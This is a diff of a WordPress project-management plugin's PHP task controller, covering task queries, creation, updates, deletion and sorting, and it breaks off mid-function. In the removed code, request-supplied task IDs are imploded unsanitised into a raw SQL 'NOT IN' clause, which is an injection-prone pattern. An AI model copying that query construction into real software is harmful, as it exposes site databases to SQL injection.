'pm_after_transformer_list_tasks', $all_tasks ); - } - - public function get_tasks_meta( $tasks_ids = [] ) { - global $wpdb; - - if ( empty( $tasks_ids ) ) { - $tasks_ids[] = 0; - } - - $comment = pm_tb_prefix() . 'pm_comments'; - $assignees = pm_tb_prefix() . 'pm_assignees'; - $tb_tasks = pm_tb_prefix() . 'pm_tasks'; - $tb_lists = pm_tb_prefix() . 'pm_boards'; - $tb_boardable = pm_tb_prefix() . 'pm_boardables'; - $tb_meta = pm_tb_prefix() . 'pm_meta'; - $task_ids = implode( ',', $tasks_ids ); - - $tasks = "SELECT tk.id, - GROUP_CONCAT( - DISTINCT - CONCAT( - '{', - '\"', 'assigned_to', '\"', ':' , '\"', IFNULL(asgn.assigned_to, '') , '\"' , ',', - '\"', 'assigned_at', '\"', ':' , '\"', IFNULL(asgn.assigned_at, '') , '\"' , ',', - '\"', 'completed_at', '\"', ':' , '\"', IFNULL(asgn.completed_at, '') , '\"' , ',', - '\"', 'started_at', '\"', ':' , '\"', IFNULL(asgn.started_at, '') , '\"' , ',', - '\"', 'status', '\"', ':' , '\"', IFNULL(asgn.status, '') , '\"' - ,'}' - ) SEPARATOR '|' - ) as assignees, - - count(cm.id) as total_comment - - FROM $tb_tasks as tk - LEFT JOIN $comment as cm ON tk.id=cm.commentable_id AND cm.commentable_type = 'task' - LEFT JOIN $assignees as asgn ON tk.id=asgn.task_id - where - tk.id In ($task_ids) - GROUP BY tk.id"; - - - $results = $wpdb->get_results( $tasks ); - - $returns = []; - - foreach ( $results as $key => $result ) { - $users = []; - - if ( ! empty( $result->assignees ) ) { - $user_assigns = explode( '|', $result->assignees ); - - foreach ( $user_assigns as $assingne => $user_assign ) { - $users[] = json_decode( $user_assign ); - } - } - - $result->assignees = $users; - $returns[$result->id] = $result; - } - - return $returns; - } - - public function get_incomplete_task_ids( $list_ids, $project_id, $not_in_tasks = [] ) { - global $wpdb; - - if ( empty( $list_ids ) ) { - $list_ids[] = 0; - } - - $per_page_count = isset( $_GET['incomplete_task_page'] ) ? intval( $_GET['incomplete_task_page'] ) : false; - - $table_ba = $wpdb->prefix . 'pm_boardables'; - $table_task = $wpdb->prefix . 'pm_tasks'; - - $per_page = pm_get_setting( 'incomplete_tasks_per_page' ); - $per_page = empty( $per_page ) ? 20 : intval( $per_page ); - - if ( intval( $per_page_count ) ) { - $start = $per_page_count-1; - } else { - $start = 0; - } - - $list_ids = implode(',', $list_ids ); - $permission_join = apply_filters( 'pm_incomplete_task_query_join', '', $project_id ); - $where = apply_filters( 'pm_incomplete_task_query_where', '', $project_id ); - - if ( ! empty( $not_in_tasks ) ) { - $not_in_tasks = implode( ',', $not_in_tasks ); - $where .= " AND itasks.id NOT IN ({$not_in_tasks})"; - } - - $sql = "SELECT ibord_id, GROUP_CONCAT( DISTINCT task.task_id order by task.iorder DESC) as itasks_id - FROM - ( - SELECT - itasks.id as task_id, - ibord.board_id as ibord_id, - ibord.order as iorder - FROM - $table_task as itasks - inner join $table_ba as ibord on itasks.id = ibord.boardable_id - AND ibord.board_id in ($list_ids) - $permission_join - WHERE - itasks.status=0 - AND ibord.board_type='task_list' - AND ibord.boardable_type='task' - $where - order by iorder asc - - ) as task - - group by ibord_id"; - - $results = $wpdb->get_results( $sql ); - - if ( $per_page_count != -1 ) { - $results = $this->set_pagination( $results, $start, $per_page ); - } - - $task_ids = wp_list_pluck( $results, 'itasks_id' ); - $task_ids = implode( ',', $task_ids ); - - return explode(',', $task_ids); - } - - private function set_pagination( $results, $start, $per_page ) { - - foreach ( $results as $key => $result ) { - $ids = explode( ',', $result->itasks_id ); - $ids = array_chunk( $ids, $per_page ); - $chunk = ''; - - if ( isset( $ids[$start] ) ) { - $chunk = implode( ',', $ids[$start] ); - } - - $result->itasks_id = empty( $chunk ) ? '' : $chunk; - } - - return $results; - } - - public function get_complete_task_ids( $list_ids, $project_id, $not_in_tasks = [] ) { - global $wpdb; - - if ( empty( $list_ids ) ) { - $list_ids[] = 0; - } - - $per_page_count = isset( $_GET['complete_task_page'] ) ? intval( $_GET['complete_task_page'] ) : false; - - $table_ba = $wpdb->prefix . 'pm_boardables'; - $table_task = $wpdb->prefix . 'pm_tasks'; - - $per_page = pm_get_setting( 'complete_tasks_per_page' ); - $per_page = empty( $per_page ) ? 20 : intval( $per_page ); - - if ( intval( $per_page_count ) ) { - $start = $per_page_count-1; - } else { - $start = 0; - } - - $list_ids = implode(',', $list_ids ); - $permission_join = apply_filters( 'pm_complete_task_query_join', '', $project_id ); - $where = apply_filters( 'pm_complete_task_query_where', '', $project_id ); - - if ( ! empty( $not_in_tasks ) ) { - $not_in_tasks = implode( ',', $not_in_tasks ); - $where .= " AND itasks.id NOT IN ({$not_in_tasks})"; - } - - $sql = "SELECT ibord_id, GROUP_CONCAT( DISTINCT task.task_id order by task.iorder DESC) as itasks_id - FROM - ( - SELECT - itasks.id as task_id, - ibord.board_id as ibord_id, - ibord.order as iorder - FROM - $table_task as itasks - inner join $table_ba as ibord on itasks.id = ibord.boardable_id - AND ibord.board_id in ($list_ids) - $permission_join - WHERE - itasks.status=1 - AND ibord.board_type='task_list' - AND ibord.boardable_type='task' - $where - order by iorder asc - - ) as task - - group by ibord_id"; - - $results = $wpdb->get_results( $sql ); - - if ( $per_page_count != -1 ) { - $results = $this->set_pagination( $results, $start, $per_page ); - } - - $task_ids = wp_list_pluck( $results, 'itasks_id' ); - $task_ids = implode( ',', $task_ids ); - - return explode(',', $task_ids); - - } - - public function get_tasks( $task_ids, $args=[] ) { - global $wpdb; - - foreach ( (array) $task_ids as $key => $task_id ) { - if ( empty( intval( $task_id ) ) ) { - unset( $task_ids[$key] ); - } - } - - $default = [ - 'list_task_transormer_filter' => true - ]; - - $args = wp_parse_args( $args, $default ); - - if ( empty( $task_ids ) ) { - $task_ids[] = 0; - } - - $task = pm_tb_prefix() . 'pm_tasks'; - $list = pm_tb_prefix() . 'pm_boardables'; - $comment = pm_tb_prefix() . 'pm_comments'; - $assignees = pm_tb_prefix() . 'pm_assignees'; - - $task_collection = Task::select( $task . '.*') - ->selectRaw( - "GROUP_CONCAT( - DISTINCT - CONCAT( - '{', - '\"', 'assigned_to', '\"', ':' , '\"', IFNULL($assignees.assigned_to, '') , '\"' , ',', - '\"', 'assigned_at', '\"', ':' , '\"', IFNULL($assignees.assigned_at, '') , '\"' , ',', - '\"', 'completed_at', '\"', ':' , '\"', IFNULL($assignees.completed_at, '') , '\"' , ',', - '\"', 'started_at', '\"', ':' , '\"', IFNULL($assignees.started_at, '') , '\"' , ',', - '\"', 'status', '\"', ':' , '\"', IFNULL($assignees.status, '') , '\"' - ,'}' - ) SEPARATOR '|' - ) as assignees" - ) - ->selectRaw( "count($comment.id) as total_comment" ) - ->whereIn( $task . '.id', $task_ids ) - - ->leftJoin( $list, function( $join ) use($task, $list) { - $join->on( $task . '.id', '=', $list . '.boardable_id' ); - }) - ->leftJoin( $comment, function( $join ) use($task, $comment) { - $join->on( $task . '.id', '=', $comment . '.commentable_id' ) - ->where($comment . '.commentable_type', 'task'); - }) - ->leftJoin( $assignees, function( $join ) use($task, $assignees) { - $join->on( $task . '.id', '=', $assignees . '.task_id' ); - }) - - ->groupBy( $task . '.id' ) - ->orderBy( $list . '.order', 'DESC' ); - - $task_collection = apply_filters( 'list_tasks_filter_query', $task_collection, $args ); - - $task_collection = $task_collection->get(); - - $task_transformer = new List_Task_Transformer(); - $task_transformer->list_task_transormer_filter = $args['list_task_transormer_filter']; - - $resource = new collection( $task_collection, $task_transformer ); - $tasks = $this->get_response( $resource ); - $tasks = apply_filters( 'pm_after_transformer_list_tasks', $tasks, $task_ids ); - - return $tasks; - } - - public function duplicate( WP_REST_Request $request ) { - $task_id = $request->get_param( 'task_id' ); - - $task = $this->get_task( $task_id ); - $list_id = $task['data']['task_list_id']; - $task = Task::find( $task_id ); - $task->title = __( 'Copy ', 'wedevs-project-manager' ) . $task->title; - $project_id = $task->project_id; - $duplicate_task = $this->task_duplicate( $task, $list_id, $project_id ); - $new_task = $this->get_task( $duplicate_task->id ); - - do_action( 'pm_after_task_duplicate', $new_task, $task ); - - wp_send_json_success( - [ - 'task' => $new_task['data'], - 'list_id' => $list_id, - 'project_id' => $project_id, - - ] - ); - } - - public function task_duplicate ( Task $task, $list_id = false, $project_id = false ) { - $task_data = []; - $boardable_data = []; - $assignee_data = []; - $meta_data = []; - - if ( $project_id ) { - $task_data ['project_id'] = $project_id; - $assignee_data['project_id'] = $project_id; - $meta_data ['project_id'] = $project_id; - } - - $newTask = $this->replicate( $task, $task_data ); - - $meta = [ - 'task_title' => $newTask->title, - ]; - - Task_Observer::log_activity( $newTask, 'create_task', 'create', $meta ); - - // Include task and task list - $boardable_data['boardable_id'] = $newTask->id; - $assignee_data ['task_id'] = $newTask->id; - $meta_data ['entity_id'] = $newTask->id; - - if ( $list_id ) { - $boardable_data['board_id'] = $list_id; - } - - foreach ( $task->boardables as $boardable ) { - $newBoardables = $this->replicate( $boardable, $boardable_data ); - } - - // Duplicate Assignee in this task - - foreach ( $task->assignees as $assignee ) { - $newAssignee = $this->replicate( $assignee, $assignee_data ); - } - - foreach ( $task->metas as $meta ) { - $newMeta = $this->replicate( $meta, $meta_data ); - } - - do_action( 'cpm_task_duplicate_after', $newTask->id, $list_id, $project_id ); - do_action( 'pm_task_duplicate_after', $newTask->id, $list_id, $project_id, $task ); - - return $newTask; - } - - private function replicate( $model, $newValues=null, $fireEvents=false) { - $newModel = $model->replicate()->setRelations([]); - - if ( $newValues !== null && is_array( $newValues ) ) { - foreach ($newValues as $key => $value) { - $newModel->{$key} = $value; - } - } - - if ( !$fireEvents ) { - $newModel->unsetEventDispatcher(); - } - - if ( $newModel->save() ) { - return $newModel; - } - } - - public function load_more_tasks( WP_REST_Request $request ) { - $list_id = $request->get_param( 'list_id' ); - $task_ids = $request->get_param( 'task_ids' ); - $project_id = $request->get_param( 'project_id' ); - $status = $request->get_param( 'status' ); - - if ( (int) $status ) { - $task_ids = $this->get_complete_task_ids( [$list_id], $project_id, $task_ids ); - } else { - $task_ids = $this->get_incomplete_task_ids( [$list_id], $project_id, $task_ids ); - } - - $tasks = pm_get_tasks( [ 'id' => $task_ids ] ); - - wp_send_json_success( - [ - 'project_id' => $project_id, - 'list_id' => $list_id, - 'tasks' => $tasks, - 'status' => (int) $status - ] - ); - } -} +get_param( 'project_id' ); + $per_page = $request->get_param( 'per_page' ); + $per_page = $per_page ? $per_page : 5; + $page = $request->get_param( 'page' ); + $search = $request->get_param( 's' ); + + Paginator::currentPageResolver(function () use ($page) { + return $page; + }); + + if ( $search ) { + $tasks = Task::where( 'project_id', $project_id ) + ->parent() + ->where('title', 'LIKE', '%'.$search.'%'); + + $tasks = apply_filters( 'pm_task_index_query', $tasks, $project_id, $request ); + + $tasks = $tasks->orderBy( 'created_at', 'DESC') + ->get(); + + $resource = new Collection( $tasks, new Task_Transformer ); + } else { + $tasks = Task::where( 'project_id', $project_id ) + ->parent(); + $tasks = apply_filters( 'pm_task_index_query', $tasks, $project_id, $request ); + + if ( $per_page == '-1' ) { + $per_page = $tasks->count(); + } + + $tasks = $tasks->orderBy( 'created_at', 'DESC') + ->paginate( $per_page ); + + $task_collection = $tasks->getCollection(); + $resource = new Collection( $task_collection, new Task_Transformer ); + $resource->setPaginator( new IlluminatePaginatorAdapter( $tasks ) ); + } + + return $this->get_response( $resource ); + } + + public function show( WP_REST_Request $request ) { + $project_id = $request->get_param( 'project_id' ); + $task_id = $request->get_param( 'task_id' ); + return $this->get_task( $task_id, $project_id, $request->get_params() ); + } + + public static function get_task( $task_id, $project_id = false, $request=[] ) { + return pm_get_tasks( [ + 'id' => $task_id, + 'with' => 'project, activities, comments, task_list, time, labels' + ] ); + // $task = Task::with( 'task_lists' ) + // ->where( 'id', $task_id ) + // ->parent(); + + // if ( $project_id ) { + // $task = $task->where( 'project_id', $project_id ); + + // } + + // $task = apply_filters( 'pm_task_show_query', $task, $project_id, $request ); + // $task = $task->first(); + + // if ( $task == NULL ) { + // return pm_get_response( null, [ + // 'message' => pm_get_text('success_messages.no_element') + // ] ); + // } + + // $resource = new Item( $task, new Task_Transformer ); + // $response = self::getInstance()->get_response( $resource ); + // $response = apply_filters('pm_get_task', $response , $request); + + // return $response ; + } + + public static function create_task( $data ) { + $self = self::getInstance(); + $project_id = $data[ 'project_id' ]; + $board_id = $data[ 'board_id' ]; + $assignees = $data[ 'assignees' ]; + $is_private = $data[ 'privacy' ]; + $data['is_private'] = $is_private == 'true' || $is_private === true ? 1 : 0; + + if ( empty( $board_id ) ) { + $inbox = pm_get_meta($project_id, $project_id, 'task_list', 'list-inbox'); + $board_id = $inbox->meta_value; + $data['board_id'] = $inbox->meta_value; + } + + $project = Project::find( $project_id ); + $board = Board::find( $board_id ); + + if ( $project ) { + $data = apply_filters( 'pm_before_create_task', $data, $board_id, $data ); + $task = Task::create( $data ); + } + + do_action( 'cpm_task_new', $board_id, $task->id, $data ); + do_action('pm_after_update_task', $task, $data ); + + if ( $task && $board ) { + $latest_order = Boardable::latest_order( $board->id, $board->type, 'task' ); + $boardable = Boardable::create([ + 'board_id' => $board->id, + 'board_type' => $board->type, + 'boardable_id' => $task->id, + 'boardable_type' => 'task', + 'order' => $latest_order + 1, + ]); + } + + if ( is_array( $assignees ) && $task ) { + $self->attach_assignees( $task, $assignees ); + } + do_action( 'cpm_after_new_task', $task->id, $board_id, $project_id ); + do_action('pm_after_create_task', $task, $data ); + + $resource = new Item( $task, new Task_Transformer ); + + + $message = [ + 'message' => pm_get_text('success_messages.task_created'), + 'activity' => $self->last_activity( 'task', $task->id ), + ]; + + $response = $self->get_response( $resource, $message ); + + do_action('pm_create_task_aftre_transformer', $response, $data ); + + return $response; + } + + public function store( WP_REST_Request $request ) { + $data = $this->extract_non_empty_values( $request ); + $project_id = $request->get_param( 'project_id' ); + $board_id = $request->get_param( 'board_id' ); + $assignees = $request->get_param( 'assignees' ); + $is_private = $request->get_param( 'privacy' ); + $type_id = $request->get_param( 'type_id' ); + $data['is_private'] = $is_private == 'true' || $is_private === true ? 1 : 0; + + if ( empty( $board_id ) ) { + $inbox = pm_get_meta($project_id, $project_id, 'task_list', 'list-inbox'); + $board_id = $inbox->meta_value; + $data['board_id'] = $inbox->meta_value; + } + + $project = Project::find( $project_id ); + $board = Board::find( $board_id ); + + if ( $project ) { + $data = apply_filters( 'pm_before_create_task', $data, $board_id, $request->get_params() ); + $task = Task::create( $data ); + } + + do_action( 'cpm_task_new', $board_id, $task->id, $request->get_params() ); + // do_action('pm_after_update_task', $task, $request->get_params() ); + + if ( $task && $board ) { + $latest_order = Boardable::latest_order( $board->id, $board->type, 'task' ); + $boardable = Boardable::create([ + 'board_id' => $board->id, + 'board_type' => $board->type, + 'boardable_id' => $task->id, + 'boardable_type' => 'task', + 'order' => $latest_order + 1, + ]); + } + + if ( is_array( $assignees ) && $task ) { + $this->attach_assignees( $task, $assignees ); + } + + $this->insert_type( $task->id, $type_id, $project_id, $board_id ); + + do_action( 'cpm_after_new_task', $task->id, $board_id, $project_id ); + do_action('pm_after_create_task', $task, $request->get_params() ); + + $resource = new Item( $task, new Task_Transformer ); + + + $message = [ + 'message' => pm_get_text('success_messages.task_created'), + 'activity' => $this->last_activity( 'task', $task->id ), + ]; + + $response = $this->get_response( $resource, $message ); + + do_action('pm_create_task_aftre_transformer', $response, $request->get_params() ); + + return $response; + } + + public function insert_type ( $task_id, $type_id, $project_id, $list_id ) { + if ( empty( (int) $task_id ) ) { + return; + } + + if ( empty( (int) $type_id ) ) { + return; + } + + $has_task_type_task = Task_Type_Task::find( $task_id ); + + if ( empty( $has_task_type_task ) ) { + Task_Type_Task::create([ + 'type_id' => $type_id, + 'task_id' => $task_id, + 'list_id' => $list_id, + 'project_id' => $project_id + ]); + } + } + + public function update_type( $task_id, $type_id, $project_id, $list_id ) { + + if ( empty( intval( $task_id ) ) ) { + return; + } + + $has_task_type_task = Task_Type_Task::find( $task_id ); + + if ( empty( $has_task_type_task ) && empty( intval( $type_id ) ) ) { + return; + } + + if ( ! empty( $has_task_type_task ) && empty( intval( $type_id ) ) ) { + Task_Types_Controller::destroy_task_type_task_relation_task( $task_id ); + + return; + } + + if ( empty( $has_task_type_task ) && ! empty( intval( $type_id ) ) ) { + $this->insert_type( $task_id, $type_id, $project_id, $list_id ); + + return; + } + + $has_task_type_task->update_model( [ + 'type_id' => $type_id, + 'list_id' => $list_id, + 'project_id' => $project_id + ] ); + } + + public function attach_assignees( Task $task, $assignees = [] ) { + + do_action('pm_before_assignees', $task, $assignees ); + + foreach ( $assignees as $user_id ) { + if ( ! intval( $user_id ) ) { + continue ; + } + $data = [ + 'task_id' => $task->id, + 'assigned_to' => $user_id, + 'project_id' => $task->project_id, + ]; + + $assignee = Assignee::firstOrCreate( $data ); + + if ( ! $assignee->assigned_at ) { + $assignee->assigned_at = Carbon::now(); + $assignee->save(); + } + } + + do_action('pm_after_assignees', $task, $assignees ); + } + + private function update_task_status( Task $task ){ + $user = wp_get_current_user(); + $data = [ + 'task_id' => $task->id, + 'assigned_to' => $user->ID, + 'project_id' => $task->project_id, + ]; + + $assignee = Assignee::where( $data )->first(); + + if ( !$assignee) { + return false; + } + + if( $task->status == 'complete' && !$assignee->completed_at ){ + $assignee->completed_at = Carbon::now(); + $assignee->status = 1; + $assignee->save(); + } + + if( $task->status == 'incomplete' && $assignee->completed_at ){ + $assignee->completed_at = null; + $assignee->status = 0; + $assignee->save(); + } + } + + public function update( WP_REST_Request $request ) { + + return $this->task_update( $request->get_params() ); + } + + // public static function task_update( $params ) { + // $task_id = $params['task_id']; + + // $task = Task::with('assignees')->find( $task_id ); + + // if ( ! isset( $params['assignees'] ) ) { + // $assignees = wp_list_pluck( $task->assignees->toArray(), 'assigned_to' ); + // } else { + // $assignees = empty( $params['assignees'] ) ? [] : $params['assignees']; + // } + + // $list_id = $task->task_list; + // $project_id = $task->project_id; + // $params['project_id'] = $task->project_id; + // $params['list_id'] = $task->task_list; + // $is_private = isset( $params['privacy'] ) ? $params['privacy'] : false; + // $params['is_private'] = $is_private == 'true' || $is_private === true ? 1 : 0; + + // $deleted_users = $task->assignees()->whereNotIn( 'assigned_to', $assignees )->get()->toArray(); //->delete(); + // $deleted_users = apply_filters( 'pm_task_deleted_users', $deleted_users, $task ); + // $deleted_users = wp_list_pluck( $deleted_users, 'id' ); + + // if ( $deleted_users ) { + // Assignee::destroy( $deleted_users ); + // } + + // self::getInstance()->attach_assignees( $task, $assignees ); + + // do_action( 'cpm_task_update', $list_id, $task_id, $params ); + + // $params = apply_filters( 'pm_before_update_task', $params, $list_id, $task_id, $task ); + // $task->update_model( $params ); + + // do_action( 'cpm_after_update_task', $task->id, $list_id, $project_id ); + // do_action('pm_after_update_task', $task, $params ); + + // $resource = new Item( $task, new Task_Transformer ); + + // $message = [ + // 'message' => pm_get_text('success_messages.task_updated'), + // 'activity' => self::getInstance()->last_activity( 'task', $task->id ), + // ]; + + // $response = self::getInstance()->get_response( $resource, $message ); + + // do_action('pm_update_task_aftre_transformer', $response, $params ); + + // return $response; + // } + + public static function task_update( $params ) { + $task_id = $params['task_id']; + + $task = Task::with('assignees')->find( $task_id ); + + if ( ! isset( $params['assignees'] ) ) { + $assignees = wp_list_pluck( $task->assignees->toArray(), 'assigned_to' ); + } else { + $assignees = empty( $params['assignees'] ) ? [] : $params['assignees']; + } + + $list_id = $task->task_list; + $project_id = $task->project_id; + $params['project_id'] = $task->project_id; + $params['list_id'] = $task->task_list; + $is_private = isset( $params['privacy'] ) ? $params['privacy'] : $task->is_private; + $type_id = empty( $params['type_id'] ) ? false : intval( $params['type_id'] ); + $deleted_users = $task->assignees()->whereNotIn( 'assigned_to', $assignees )->get()->toArray(); //->delete(); + $deleted_users = apply_filters( 'pm_task_deleted_users', $deleted_users, $task ); + $deleted_users = wp_list_pluck( $deleted_users, 'id' ); + + if ( $is_private == 'true' || $is_private === true ) { + $params['is_private'] = 1; + } else if ( $is_private == 'false' || $is_private === false ) { + $params['is_private'] = 0; + } else { + $params['is_private'] = $is_private; + } + + if ( $deleted_users ) { + Assignee::destroy( $deleted_users ); + } + + self::getInstance()->attach_assignees( $task, $assignees ); + + if ( isset( $params['type_id'] ) ) { + self::getInstance()->update_type( $task->id, $type_id, $project_id, $task->task_list ); + } + + do_action( 'cpm_task_update', $list_id, $task_id, $params ); + + $params = apply_filters( 'pm_before_update_task', $params, $list_id, $task_id, $task ); + $task->update_model( $params ); + + do_action( 'cpm_after_update_task', $task->id, $list_id, $project_id ); + do_action('pm_after_update_task', $task, $params ); + + $task_response = Task_Helper::get_results([ + 'id' => $task->id, + 'with' => 'time, labels, task_list' + ]); + + $response = [ + 'message' => pm_get_text('success_messages.task_updated'), + 'activity' => self::getInstance()->last_activity( 'task', $task->id ), + 'data' => $task_response['data'] + ]; + + do_action('pm_update_task_aftre_transformer', $response, $params ); + + return $response; + } + + public function change_status( WP_REST_Request $request ) { + $task_id = $request->get_param( 'task_id' ); + $task = Task::with('assignees')->find( $task_id ); + $status = $request->get_param( 'status' ); + $old_value = $task->status; + $task->status = $status; + + if ($status) { + $task->completed_by = get_current_user_id(); + $task->completed_at = Carbon::now(); + } else { + $task->completed_by = null; + $task->completed_at = null; + } + + do_action( 'pm_before_change_task_status', $task ); + + if ( $task->save() ) { + $this->update_task_status( $task ); + $this->task_activity_comment($task, $status); + } + + do_action( 'mark_task_complete', $task->project_id, $task->id ); + do_action( 'pm_changed_task_status', $task, $old_value, $request->get_params() ); + + //$resource = new Item( $task, new Task_Transformer ); + $task_response = Task_Helper::get_results([ + 'id' => $task->id, + 'with' => 'time, labels, task_list' + ]); + + $response = [ + 'message' => pm_get_text( 'success_messages.task_updated' ), + 'activity' => self::getInstance()->last_activity( 'task', $task->id ), + 'data' => $task_response['data'] + ]; + + // $message = [ + // 'message' => pm_get_text('success_messages.task_updated'), + // 'activity' => $this->last_activity( 'task', $task->id ), + // ]; + + // $response = $this->get_response( $resource, $message ); + + do_action('pm_changed_task_status_aftre_transformer', $response, $request->get_params() ); + + return $response; + } + + private function task_activity_comment ($task, $status) { + $activity = ( (bool) $status) ? pm_get_text('success_messages.task_activity_done_comment') : pm_get_text('success_messages.task_activity_undone_comment'); + $user_id = get_current_user_id(); + $comment = new Comment; + $comment->content = $activity; + $comment->commentable_id = $task->id; + $comment->commentable_type = 'task_activity'; + $comment->project_id = $task->project_id; + $comment->created_by = $user_id; + $comment->updated_by = $user_id; + $comment->unsetEventDispatcher(); + $comment->save(); + } + + public static function delete_task( $data ) { + $self = self::getInstance(); + $project_id = $data['project_id']; + $task_id = $data['task_id']; + + // Select the task + $task = Task::where( 'id', $task_id ) + ->where( 'project_id', $project_id ) + ->first(); + + $resource = new Item( $task, new Task_Transformer ); + $resource = $self->get_response( $resource ); + $list_id = $resource['data']['task_list_id']; + + do_action( "pm_before_delete_task", $task, $data ); + do_action( 'cpm_delete_task_prev', $task_id, $project_id, $project_id, $task ); + + // Delete relations assoicated with the task + $task->boardables()->delete(); + $task->files()->delete(); + $comments = $task->comments; + + foreach ($comments as $comment) { + $comment->replies()->delete(); + $comment->files()->delete(); + } + + //remove task type + Task_Types_Controller::destroy_task_type_task_relation_task( $task->id ); + + $task->comments()->delete(); + $task->assignees()->delete(); + $task->metas()->delete(); + + Task::where('parent_id', $task->id)->delete(); + // Delete the task + $task->delete(); + + $list = ( new Task_List_Controller )->get_list( [ + 'project_id' => $project_id, + 'task_list_id' => $list_id + ] ); + + do_action( 'cpm_delete_task_after', $task_id, $project_id ); + do_action( 'pm_after_delete_task', $task_id, $project_id ); + + $message = [ + 'message' => pm_get_text('success_messages.task_deleted'), + 'activity' => $self->last_activity( 'task', $task->id ), + 'task' => $resource, + 'list' => $list + ]; + + return $self->get_response( $resource, $message ); + } + + public function destroy( WP_REST_Request $request ) { + // Grab user inputs + $project_id = $request->get_param( 'project_id' ); + $task_id = $request->get_param( 'task_id' ); + + // Select the task + $task = Task::where( 'id', $task_id ) + ->where( 'project_id', $project_id ) + ->first(); + + $resource = new Item( $task, new Task_Transformer ); + $resource = $this->get_response( $resource ); + $list_id = $resource['data']['task_list_id']; + + do_action("pm_before_delete_task", $task, $request->get_params() ); + do_action( 'cpm_delete_task_prev', $task_id, $project_id, $project_id, $task ); + + // Delete relations assoicated with the task + $task->boardables()->delete(); + $task->files()->delete(); + $comments = $task->comments; + + foreach ($comments as $comment) { + $comment->replies()->delete(); + $comment->files()->delete(); + } + + //remove task type + Task_Types_Controller::destroy_task_type_task_relation_task( $task->id ); + + $task->comments()->delete(); + $task->assignees()->delete(); + $task->metas()->delete(); + Task::where('parent_id', $task->id)->delete(); + // Delete the task + $task->delete(); + + $list = ( new Task_List_Controller )->get_list( [ + 'project_id' => $project_id, + 'task_list_id' => $list_id + ] ); + + do_action( 'cpm_delete_task_after', $task_id, $project_id ); + do_action( 'pm_after_delete_task', $task_id, $project_id ); + + $message = [ + 'message' => pm_get_text('success_messages.task_deleted'), + 'activity' => $this->last_activity( 'task', $task->id ), + 'task' => $resource, + 'list' => $list + ]; + + return array_merge( $resource, $message ); + } + + public function attach_to_board( WP_REST_Request $request ) { + $task_id = $request->get_param( 'task_id' ); + $board_id = $request->get_param( 'board_id' ); + + $task = Task::find( $task_id ); + $board = Board::find( $board_id ); + + $latest_order = Boardable::latest_order( $board->id, $board->type, 'task' ); + $boardable = Boardable::firstOrCreate([ + 'board_id' => $board->id, + 'board_type' => $board->type, + 'boardable_id' => $task->id, + 'boardable_type' => 'task', + 'order' => $latest_order + 1, + ]); + + $resource = new Item( $task, new Task_Transformer ); + + return $this->get_response( $resource ); + } + + public function detach_from_board( WP_REST_Request $request ) { + $task_id = $request->get_param( 'task_id' ); + $board_id = $request->get_param( 'board_id' ); + + $task = Task::find( $task_id ); + $board = Board::find( $board_id ); + + $boardable = Boardable::where( 'board_id', $board->id ) + ->where( 'board_type', $board->type ) + ->where( 'boardable_id', $task->id ) + ->where( 'boardable_type', 'task' ) + ->first(); + + $boardable->delete(); + } + + public function attach_users( WP_REST_Request $request ) { + $project_id = $request->get_param( 'project_id' ); + $task_id = $request->get_param( 'task_id' ); + $user_ids = $request->get_param( 'users' ); + + $project = Project::find( $project_id ); + $task = Task::where( 'id', $task_id )->where( 'project_id', $project_id )->first(); + + if ( $project && $task && is_array( $user_ids ) ) { + foreach ( $user_ids as $user_id ) { + $data = [ + 'task_id' => $task->id, + 'assigned_to' => $user_id, + 'assigned_at' => Carbon::now(), + 'project_id' => $project->id, + ]; + Assignee::create( $data ); + } + } + + $resource = new Item( $task, new Task_Transformer ); + + return $this->get_response( $resource ); + } + + public function detach_users( WP_REST_Request $request ) { + $project_id = $request->get_param( 'project_id' ); + $task_id = $request->get_param( 'task_id' ); + $user_ids = $request->get_param( 'users' ); + + $project = Project::find( $project_id ); + $task = Task::where( 'id', $task_id ) + ->where( 'project_id', $project_id ) + ->first(); + + if ( $task && is_array( $user_ids ) ) { + $task->assignees()->whereIn( 'assigned_to', $user_ids )->delete(); + } + + $resource = new Item( $task, new Task_Transformer ); + + return $this->get_response( $resource ); + } + + public function reorder( WP_REST_Request $request ) { + $board_id = $request->get_param( 'board_id' ); + $board_type = $request->get_param( 'board_type' ); + $task_orders = $request->get_param( 'task_orders' ); + + if ( is_array( $task_orders ) ) { + foreach ( $task_orders as $task_order ) { + $boardable = Boardable::where( 'board_id', $board_id ) + ->where( 'board_type', $board_type ) + ->where( 'boardable_id', $task_order['id'] ) + ->where( 'boardable_type', 'task' ) + ->first(); + + if ( $boardable ) { + $boardable->order = (int) $task_order['order']; + $boardable->save(); + } + } + } + } + + public function privacy( WP_REST_Request $request ) { + $project_id = $request->get_param( 'project_id' ); + $task_id = $request->get_param( 'task_id' ); + $privacy = $request->get_param( 'is_private' ); + $task = Task::find( $task_id ); + $task->update_model( [ + 'is_private' => $privacy + ] ); + pm_update_meta( $task_id, $project_id, 'task', 'privacy', $privacy ); + return $this->get_response( NULL); + } + + public function task_sorting( WP_REST_Request $request ) { + + $project_id = $request->get_param( 'project_id' ); + $list_id = $request->get_param( 'list_id' ); + $task_id = $request->get_param( 'task_id' ); + $orders = $request->get_param( 'orders' ); + $receive = $request->get_param( 'receive' ); + $task = []; + $sender_list_id = false; + + if ( isset( $receive ) && $receive == 1 ) { + $task = pm_get_task( $task_id ); + $sender_list_id = $task ? $task['data']['task_list']['data']['id'] : false; + $boardable = Boardable::where( 'board_type', 'task_list' ) + ->where( 'boardable_id', $task_id ) + ->first(); + + if ( $boardable ) { + $boardable->board_id = $list_id; + $boardable->update(); + } + + $task = pm_get_task( $task_id ); + } + + foreach ( $orders as $order ) { + $index = empty( $order['index'] ) ? 0 : intval( $order['index'] ); + $task_id = empty( $order['id'] ) ? '' : intval( $order['id'] ); + + $boardable = Boardable::where( 'board_id', $list_id ) + ->where( 'board_type', 'task_list' ) + ->where( 'boardable_id', $task_id ) + ->where( 'boardable_type', 'task' ) + ->first(); + + if ( $boardable ) { + $boardable->order = $index; + $boardable->save(); + } + } + + $list = ( new Task_List_Controller )->get_list( [ + 'project_id' => $project_id, + 'task_list_id' => $list_id + ] ); + + $sender_list = ( new Task_List_Controller )->get_list( [ + 'project_id' => $project_id, + 'task_list_id' => $sender_list_id + ] ); + + wp_send_json_success( [ + 'task' => $task, + 'sender_list_id' => $sender_list_id, + 'list_id' => $list_id, + 'project_id' => $project_id, + 'receive_list' => $list, + 'sender_list' => $sender_list + ] ); + } + + function filter_query( $request ) { + + global $wpdb; + + $status = $request->get_param('status'); + //$board_status = $request->get_param('board_status'); + $due_date = $request->get_param('dueDate'); + $assignees = $request->get_param('users'); + $lists = $request->get_param('lists'); + $project_id = 